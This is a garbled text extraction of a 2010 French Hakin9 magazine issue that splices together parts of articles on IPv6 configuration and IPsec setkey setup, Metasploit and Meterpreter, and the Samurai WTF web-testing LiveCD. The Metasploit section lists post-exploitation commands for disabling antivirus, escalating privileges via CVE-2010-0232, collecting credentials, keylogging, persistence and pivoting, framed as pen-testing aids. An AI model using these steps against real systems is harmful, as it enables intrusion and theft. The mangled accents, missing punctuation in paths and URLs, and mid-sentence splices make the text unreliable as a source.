avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 24: hakin9_05_2010_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

